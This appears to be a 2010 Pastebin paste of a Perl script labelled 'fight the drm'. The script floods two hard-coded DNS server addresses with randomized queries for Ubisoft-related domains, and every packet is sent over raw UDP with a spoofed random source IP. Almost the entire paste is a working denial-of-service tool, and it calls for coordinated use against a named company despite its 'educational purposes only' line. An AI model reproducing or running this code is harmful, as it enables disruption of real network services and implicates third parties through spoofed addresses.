Advertisement
Guest User

Untitled

a guest
Mar 15th, 2010
658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # fight the drm
  4. #
  5. # ensure outbound packets are not natted
  6. #
  7. # requires linux/bsd/osx
  8. #
  9. # coordinated use will see increased benefits
  10. #
  11. # spoofs src ip address on every request, randomizes type, domain and id on each call
  12. #
  13. # for educational purposes only
  14.  
  15. use Net::RawIP;
  16. use Net::DNS::Packet;
  17. use Thread qw(async);
  18.  
  19. my @suffix = ('.ubi.com', '.ubisoft.com', '.assassinscreed.com', '.splintercell.com');
  20. my @rrtypes = ('A', 'NS', 'CNAME', 'SOA', 'NULL', 'HINFO', 'MX', 'TXT', 'AAAA', 'SRV', 'NSEC', 'SPF');
  21. my $delay = 0.100;
  22. my $volume = 1;
  23.  
  24. async { flood("216.98.52.5"); };
  25. async { flood("216.98.52.6"); };
  26.  
  27. sub flood {
  28. my $port = '53';
  29. my $host = $_[0];
  30.  
  31. while(1) {
  32. my $prefix = join'', map +(0..9,'a'..'z')[rand(36)], 1..rand(20)+2;
  33. my $domain = join('',$prefix,$suffix[rand @suffix]);
  34. my $rrtype = $rrtypes[rand @rrtypes];
  35. my $dns = Net::DNS::Packet->new($domain,$rrtype,"IN");
  36.  
  37. $dns->header->id(int(rand(65000)));
  38. my $payload=$dns->data;
  39.  
  40. my $source = join ".", map int rand 256, 1 .. 4;
  41.  
  42. my $udp = new Net::RawIP({
  43. ip=>{saddr=>$source, daddr=>$host},
  44. udp=>{source=>$port, dest=>$port, data=>$payload}
  45. });
  46.  
  47. $udp->send($delay,$volume);
  48. }
  49. }
  50. while(1){}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement